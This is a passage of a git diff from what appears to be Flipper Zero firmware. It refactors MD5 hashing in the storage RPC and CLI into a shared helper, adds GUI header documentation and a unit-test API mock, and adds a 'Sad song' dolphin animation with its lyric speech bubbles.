a/applications/services/gui/gui.h +++ b/applications/services/gui/gui.h @@ -132,8 +132,6 @@ Canvas* gui_direct_draw_acquire(Gui* gui); */ void gui_direct_draw_release(Gui* gui); -uint8_t gui_get_count_of_enabled_view_port_in_layer(Gui* gui, GuiLayer layer); - #ifdef __cplusplus } #endif diff --git a/applications/services/gui/gui_i.h b/applications/services/gui/gui_i.h index a5cd84120..a5e269e03 100644 --- a/applications/services/gui/gui_i.h +++ b/applications/services/gui/gui_i.h @@ -75,6 +75,12 @@ struct Gui { ViewPort* ongoing_input_view_port; }; +/** Find enabled ViewPort in ViewPortArray + * + * @param[in] array The ViewPortArray instance + * + * @return ViewPort instance or NULL + */ ViewPort* gui_view_port_find_enabled(ViewPortArray_t array); /** Update GUI, request redraw @@ -83,8 +89,30 @@ ViewPort* gui_view_port_find_enabled(ViewPortArray_t array); */ void gui_update(Gui* gui); +/** Input event callback + * + * Used to receive input from input service or to inject new input events + * + * @param[in] value The value pointer (InputEvent*) + * @param ctx The context (Gui instance) + */ void gui_input_events_callback(const void* value, void* ctx); +/** Get count of view ports in layer + * + * @param gui The Gui instance + * @param[in] layer GuiLayer that we want to get count of view ports + */ +size_t gui_active_view_port_count(Gui* gui, GuiLayer layer); + +/** Lock GUI + * + * @param gui The Gui instance + */ void gui_lock(Gui* gui); +/** Unlock GUI + * + * @param gui The Gui instance + */ void gui_unlock(Gui* gui); diff --git a/applications/services/loader/firmware_api/firmware_api.cpp b/applications/services/loader/firmware_api/firmware_api.cpp index 6651bf112..47554f628 100644 --- a/applications/services/loader/firmware_api/firmware_api.cpp +++ b/applications/services/loader/firmware_api/firmware_api.cpp @@ -10,6 +10,19 @@ static_assert(!has_hash_collisions(elf_api_table), "Detected API method hash collision!"); +#ifdef APP_UNIT_TESTS +constexpr HashtableApiInterface mock_elf_api_interface{ + { + .api_version_major = 0, + .api_version_minor = 0, + .resolver_callback = &elf_resolve_from_hashtable, + }, + .table_cbegin = nullptr, + .table_cend = nullptr, +}; + +const ElfApiInterface* const firmware_api_interface = &mock_elf_api_interface; +#else constexpr HashtableApiInterface elf_api_interface{ { .api_version_major = (elf_api_version >> 16), @@ -19,10 +32,10 @@ constexpr HashtableApiInterface elf_api_interface{ .table_cbegin = elf_api_table.cbegin(), .table_cend = elf_api_table.cend(), }; - const ElfApiInterface* const firmware_api_interface = &elf_api_interface; +#endif extern "C" void furi_hal_info_get_api_version(uint16_t* major, uint16_t* minor) { - *major = elf_api_interface.api_version_major; - *minor = elf_api_interface.api_version_minor; + *major = firmware_api_interface->api_version_major; + *minor = firmware_api_interface->api_version_minor; } \ No newline at end of file diff --git a/applications/services/rpc/rpc_storage.c b/applications/services/rpc/rpc_storage.c index c3a4a0470..93c7043e8 100644 --- a/applications/services/rpc/rpc_storage.c +++ b/applications/services/rpc/rpc_storage.c @@ -9,7 +9,7 @@ #include "storage/filesystem_api_defines.h" #include "storage/storage.h" #include -#include +#include #include #include @@ -271,6 +271,11 @@ static void rpc_system_storage_list_process(const PB_Main* request, void* contex }; PB_Storage_ListResponse* list = &response.content.storage_list_response; + bool include_md5 = request->content.storage_list_request.include_md5; + FuriString* md5 = furi_string_alloc(); + FuriString* md5_path = furi_string_alloc(); + File* file = storage_file_alloc(fs_api); + bool finish = false; int i = 0; @@ -296,6 +301,21 @@ static void rpc_system_storage_list_process(const PB_Main* request, void* contex list->file[i].size = fileinfo.size; list->file[i].data = NULL; list->file[i].name = name; + + if(include_md5 && !file_info_is_dir(&fileinfo)) { + furi_string_printf( //-V576 + md5_path, + "%s/%s", + request->content.storage_list_request.path, + name); + + if(md5_string_calc_file(file, furi_string_get_cstr(md5_path), md5, NULL)) { + char* md5sum = list->file[i].md5sum; + size_t md5sum_size = sizeof(list->file[i].md5sum); + snprintf(md5sum, md5sum_size, "%s", furi_string_get_cstr(md5)); + } + } + ++i; } else { free(name); @@ -310,8 +330,11 @@ static void rpc_system_storage_list_process(const PB_Main* request, void* contex response.has_next = false; rpc_send_and_release(session, &response); + furi_string_free(md5); + furi_string_free(md5_path); storage_dir_close(dir); storage_file_free(dir); + storage_file_free(file); furi_record_close(RECORD_STORAGE); } @@ -569,23 +592,10 @@ static void rpc_system_storage_md5sum_process(const PB_Main* request, void* cont Storage* fs_api = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(fs_api); + FuriString* md5 = furi_string_alloc(); + FS_Error file_error; - if(storage_file_open(file, filename, FSAM_READ, FSOM_OPEN_EXISTING)) { - const uint16_t size_to_read = 512; - const uint8_t hash_size = 16; - uint8_t* data = malloc(size_to_read); - uint8_t* hash = malloc(sizeof(uint8_t) * hash_size); - md5_context* md5_ctx = malloc(sizeof(md5_context)); - - md5_starts(md5_ctx); - while(true) { - uint16_t read_size = storage_file_read(file, data, size_to_read); - if(read_size == 0) break; - md5_update(md5_ctx, data, read_size); - } - md5_finish(md5_ctx, hash); - free(md5_ctx); - + if(md5_string_calc_file(file, filename, md5, &file_error)) { PB_Main response = { .command_id = request->command_id, .command_status = PB_CommandStatus_OK, @@ -595,21 +605,15 @@ static void rpc_system_storage_md5sum_process(const PB_Main* request, void* cont char* md5sum = response.content.storage_md5sum_response.md5sum; size_t md5sum_size = sizeof(response.content.storage_md5sum_response.md5sum); - (void)md5sum_size; - furi_assert(hash_size <= ((md5sum_size - 1) / 2)); //-V547 - for(uint8_t i = 0; i < hash_size; i++) { - md5sum += snprintf(md5sum, md5sum_size, "%02x", hash[i]); - } + snprintf(md5sum, md5sum_size, "%s", furi_string_get_cstr(md5)); - free(hash); - free(data); - storage_file_close(file); rpc_send_and_release(session, &response); } else { rpc_send_and_release_empty( - session, request->command_id, rpc_system_storage_get_file_error(file)); + session, request->command_id, rpc_system_storage_get_error(file_error)); } + furi_string_free(md5); storage_file_free(file); furi_record_close(RECORD_STORAGE); diff --git a/applications/services/storage/storage_cli.c b/applications/services/storage/storage_cli.c index 8e2dcdbbb..74bcf2d92 100644 --- a/applications/services/storage/storage_cli.c +++ b/applications/services/storage/storage_cli.c @@ -3,7 +3,7 @@ #include #include -#include +#include #include #include #include @@ -482,34 +482,16 @@ static void storage_cli_md5(Cli* cli, FuriString* path) { UNUSED(cli); Storage* api = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(api); + FuriString* md5 = furi_string_alloc(); + FS_Error file_error; - if(storage_file_open(file, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - const uint16_t buffer_size = 512; - const uint8_t hash_size = 16; - uint8_t* data = malloc(buffer_size); - uint8_t* hash = malloc(sizeof(uint8_t) * hash_size); - md5_context* md5_ctx = malloc(sizeof(md5_context)); - - md5_starts(md5_ctx); - while(true) { - uint16_t read_size = storage_file_read(file, data, buffer_size); - if(read_size == 0) break; - md5_update(md5_ctx, data, read_size); - } - md5_finish(md5_ctx, hash); - free(md5_ctx); - - for(uint8_t i = 0; i < hash_size; i++) { - printf("%02x", hash[i]); - } - printf("\r\n"); - - free(hash); - free(data); + if(md5_string_calc_file(file, furi_string_get_cstr(path), md5, &file_error)) { + printf("%s\r\n", furi_string_get_cstr(md5)); } else { - storage_cli_print_error(storage_file_get_error(file)); + storage_cli_print_error(file_error); } + furi_string_free(md5); storage_file_close(file); storage_file_free(file); diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c index 43e86cdc6..6629930c3 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c @@ -166,12 +166,8 @@ bool desktop_settings_scene_start_on_event(void* context, SceneManagerEvent even consumed = true; break; case SCENE_EVENT_SELECT_AUTO_LOCK_DELAY: - consumed = true; - break; - case SCENE_EVENT_SELECT_BATTERY_DISPLAY: - consumed = true; - break; case SCENE_EVENT_SELECT_CLOCK_DISPLAY: + case SCENE_EVENT_SELECT_BATTERY_DISPLAY: consumed = true; break; case SCENE_EVENT_SELECT_CHANGE_NAME: diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_0.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_0.png new file mode 100644 index 000000000..71e85fe8f Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_0.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_1.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_1.png new file mode 100644 index 000000000..31ab932b9 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_1.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_10.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_10.png new file mode 100644 index 000000000..da8f13680 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_10.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_11.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_11.png new file mode 100644 index 000000000..9c87945b5 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_11.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_12.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_12.png new file mode 100644 index 000000000..52ecb01c1 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_12.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_13.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_13.png new file mode 100644 index 000000000..165b0635a Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_13.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_14.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_14.png new file mode 100644 index 000000000..3ad1f1c2d Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_14.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_15.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_15.png new file mode 100644 index 000000000..dace07e83 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_15.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_16.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_16.png new file mode 100644 index 000000000..2f2321888 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_16.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_17.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_17.png new file mode 100644 index 000000000..ea67b3645 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_17.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_18.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_18.png new file mode 100644 index 000000000..e4526da94 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_18.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_19.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_19.png new file mode 100644 index 000000000..b6e3de1ac Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_19.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_2.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_2.png new file mode 100644 index 000000000..a76a00022 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_2.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_20.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_20.png new file mode 100644 index 000000000..b33656867 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_20.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_21.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_21.png new file mode 100644 index 000000000..6048810f0 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_21.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_22.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_22.png new file mode 100644 index 000000000..657788f2b Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_22.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_23.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_23.png new file mode 100644 index 000000000..852e778bf Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_23.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_24.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_24.png new file mode 100644 index 000000000..d8497ee6a Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_24.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_25.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_25.png new file mode 100644 index 000000000..d647aae1b Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_25.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_26.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_26.png new file mode 100644 index 000000000..83bc94316 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_26.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_27.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_27.png new file mode 100644 index 000000000..9f4e0ce7b Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_27.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_28.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_28.png new file mode 100644 index 000000000..894394ab3 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_28.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_29.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_29.png new file mode 100644 index 000000000..63babe793 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_29.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_3.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_3.png new file mode 100644 index 000000000..630f42f2e Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_3.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_30.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_30.png new file mode 100644 index 000000000..d062254d9 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_30.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_31.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_31.png new file mode 100644 index 000000000..01ebecda7 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_31.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_32.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_32.png new file mode 100644 index 000000000..a66d6a42d Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_32.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_33.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_33.png new file mode 100644 index 000000000..e80a66743 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_33.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_34.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_34.png new file mode 100644 index 000000000..cea25e209 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_34.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_35.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_35.png new file mode 100644 index 000000000..56e05f8f9 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_35.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_36.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_36.png new file mode 100644 index 000000000..8e72a7c39 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_36.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_37.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_37.png new file mode 100644 index 000000000..9f20081e5 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_37.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_38.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_38.png new file mode 100644 index 000000000..39e620954 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_38.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_39.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_39.png new file mode 100644 index 000000000..febe3bf0b Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_39.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_4.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_4.png new file mode 100644 index 000000000..7377c6080 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_4.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_40.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_40.png new file mode 100644 index 000000000..2540fd383 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_40.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_41.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_41.png new file mode 100644 index 000000000..63106c87a Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_41.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_42.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_42.png new file mode 100644 index 000000000..21038b47a Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_42.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_43.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_43.png new file mode 100644 index 000000000..09309607c Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_43.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_44.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_44.png new file mode 100644 index 000000000..2d4b51225 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_44.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_45.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_45.png new file mode 100644 index 000000000..0501b735a Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_45.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_46.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_46.png new file mode 100644 index 000000000..1edca6aed Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_46.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_47.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_47.png new file mode 100644 index 000000000..467fe93e0 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_47.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_48.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_48.png new file mode 100644 index 000000000..fb2c54aa9 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_48.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_49.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_49.png new file mode 100644 index 000000000..74cd345fa Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_49.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_5.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_5.png new file mode 100644 index 000000000..70ed4f559 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_5.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_50.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_50.png new file mode 100644 index 000000000..32221d347 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_50.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_51.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_51.png new file mode 100644 index 000000000..a81457ddc Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_51.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_52.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_52.png new file mode 100644 index 000000000..3fc75d870 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_52.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_53.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_53.png new file mode 100644 index 000000000..2e4528c73 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_53.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_54.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_54.png new file mode 100644 index 000000000..abab31964 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_54.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_55.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_55.png new file mode 100644 index 000000000..dfa5312f5 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_55.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_56.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_56.png new file mode 100644 index 000000000..59a194b14 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_56.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_57.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_57.png new file mode 100644 index 000000000..d142a38db Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_57.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_58.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_58.png new file mode 100644 index 000000000..d6a66da8b Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_58.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_59.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_59.png new file mode 100644 index 000000000..4ab56d31e Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_59.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_6.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_6.png new file mode 100644 index 000000000..7d4f0684e Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_6.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_60.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_60.png new file mode 100644 index 000000000..0cb8722e3 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_60.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_61.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_61.png new file mode 100644 index 000000000..7da7d1adf Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_61.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_62.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_62.png new file mode 100644 index 000000000..1bfd8d303 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_62.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_7.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_7.png new file mode 100644 index 000000000..0ff0f5a3f Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_7.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_8.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_8.png new file mode 100644 index 000000000..698776737 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_8.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/frame_9.png b/assets/dolphin/external/L1_Sad_song_128x64/frame_9.png new file mode 100644 index 000000000..606272119 Binary files /dev/null and b/assets/dolphin/external/L1_Sad_song_128x64/frame_9.png differ diff --git a/assets/dolphin/external/L1_Sad_song_128x64/meta.txt b/assets/dolphin/external/L1_Sad_song_128x64/meta.txt new file mode 100644 index 000000000..683e69004 --- /dev/null +++ b/assets/dolphin/external/L1_Sad_song_128x64/meta.txt @@ -0,0 +1,284 @@ +Filetype: Flipper Animation +Version: 1 + +Width: 128 +Height: 64 +Passive frames: 31 +Active frames: 55 +Frames order: 0 1 2 3 4 5 0 1 6 7 8 5 9 10 11 12 13 14 15 0 1 2 3 4 5 0 1 6 7 8 5 9 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 53 54 53 55 56 57 58 59 60 61 62 4 5 +Active cycles: 1 +Frame rate: 2 +Duration: 3600 +Active cooldown: 6 + +Bubble slots: 4 + +Slot: 0 +X: 65 +Y: 14 +Text: All by myself +AlignH: Left +AlignV: Bottom +StartFrame: 45 +EndFrame: 51 + +Slot: 0 +X: 5 +Y: 16 +Text: Don't want +AlignH: Right +AlignV: Bottom +StartFrame: 56 +EndFrame: 58 + +Slot: 0 +X: 15 +Y: 15 +Text: to be +AlignH: Right +AlignV: Bottom +StartFrame: 59 +EndFrame: 60 + +Slot: 0 +X: 14 +Y: 14 +Text: All by myself +AlignH: Right +AlignV: Bottom +StartFrame: 63 +EndFrame: 69 + +Slot: 0 +X: 81 +Y: 25 +Text: anymore +AlignH: Left +AlignV: Bottom +StartFrame: 72 +EndFrame: 74 + +Slot: 1 +X: 65 +Y: 14 +Text: Nevermind +AlignH: Left +AlignV: Bottom +StartFrame: 45 +EndFrame: 48 + +Slot: 1 +X: 65 +Y: 14 +Text: I'll find +AlignH: Left +AlignV: Bottom +StartFrame: 49 +EndFrame: 52 + +Slot: 1 +X: 2 +Y: 16 +Text: Someone like +AlignH: Right +AlignV: Bottom +StartFrame: 56 +EndFrame: 58 + +Slot: 1 +X: 11 +Y: 16 +Text: youuuuu +AlignH: Right +AlignV: Bottom +StartFrame: 59 +EndFrame: 60 + +Slot: 1 +X: 3 +Y: 14 +Text: I wish nothing +AlignH: Right +AlignV: Bottom +StartFrame: 64 +EndFrame: 66 + +Slot: 1 +X: 6 +Y: 14 +Text: but the best +AlignH: Right +AlignV: Bottom +StartFrame: 67 +EndFrame: 70 + +Slot: 1 +X: 81 +Y: 25 +Text: for you +AlignH: Left +AlignV: Bottom +StartFrame: 72 +EndFrame: 74 + +Slot: 2 +X: 65 +Y: 14 +Text: What have I +AlignH: Left +AlignV: Bottom +StartFrame: 45 +EndFrame: 48 + +Slot: 2 +X: 65 +Y: 14 +Text: become +AlignH: Left +AlignV: Bottom +StartFrame: 47 +EndFrame: 51 + +Slot: 2 +X: 6 +Y: 16 +Text: My dearest +AlignH: Right +AlignV: Bottom +StartFrame: 56 +EndFrame: 58 + +Slot: 2 +X: 14 +Y: 16 +Text: friend +AlignH: Right +AlignV: Bottom +StartFrame: 59 +EndFrame: 60 + +Slot: 2 +X: 17 +Y: 14 +Text: Everyone +AlignH: Right +AlignV: Bottom +StartFrame: 63 +EndFrame: 64 + +Slot: 2 +X: 17 +Y: 14 +Text: I know +AlignH: Right +AlignV: Bottom +StartFrame: 65 +EndFrame: 67 + +Slot: 2 +X: 17 +Y: 14 +Text: goes away +AlignH: Right +AlignV: Bottom +StartFrame: 68 +EndFrame: 70 + +Slot: 2 +X: 81 +Y: 25 +Text: in the\n end +AlignH: Left +AlignV: Bottom +StartFrame: 72 +EndFrame: 74 + +Slot: 3 +X: 73 +Y: 14 +Text: We could\n have been +AlignH: Left +AlignV: Bottom +StartFrame: 45 +EndFrame: 48 + +Slot: 3 +X: 73 +Y: 14 +Text: so good\n together +AlignH: Left +AlignV: Bottom +StartFrame: 49 +EndFrame: 51 + +Slot: 3 +X: 7 +Y: 17 +Text: We could\n have lived +AlignH: Right +AlignV: Bottom +StartFrame: 55 +EndFrame: 57 + +Slot: 3 +X: 7 +Y: 17 +Text: this dance\n forever +AlignH: Right +AlignV: Bottom +StartFrame: 58 +EndFrame: 60 + +Slot: 3 +X: 12 +Y: 14 +Text: But now +AlignH: Right +AlignV: Bottom +StartFrame: 64 +EndFrame: 65 + +Slot: 3 +X: 5 +Y: 14 +Text: who's gonna +AlignH: Right +AlignV: Bottom +StartFrame: 66 +EndFrame: 67 + +Slot: 3 +X: 7 +Y: 14 +Text: dance with +AlignH: Right +AlignV: Bottom +StartFrame: 68 +EndFrame: 69 + +Slot: 3 +X: 26 +Y: 14 +Text: me? +AlignH: Right +AlignV: Bottom +StartFrame: 70 +EndFrame: 70 + +Slot: 3 +X: 81 +Y: 25 +Text: Please +AlignH: Left +AlignV: Bottom +StartFrame: 72 +EndFrame: 74 + +Slot: 3 +X: 81 +Y: 25 +Text: stay +AlignH: Left +AlignV: Bottom +StartFrame: 74 +EndFrame: 75 diff --git a/assets/dolphin/external/manifest.txt b/assets/dolphin/external/manifest.txt index 1a14a5827..b0cf7e7a6 100644 --- a/assets/dolphin/external/manifest.txt +++ b/assets/dolphin/external/manifest.txt @@ -162,6 +162,13 @@ Min level: 3 Max level: 3 Weight: 3 +Name: L1_Sad_song_128x64 +Min butthurt: 8 +Max butthurt: 13 +Min level: 1 +Max level: 3 +Weight: 4 + Name: L3_Fireplace_128x64 Min butthurt: 0 diff --git a/assets/protobuf b/assets/protobuf index 08a907d95..7e011a958 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 08a907d95733600becc41c0602ef5ee4c4baf782 +Subproject commit 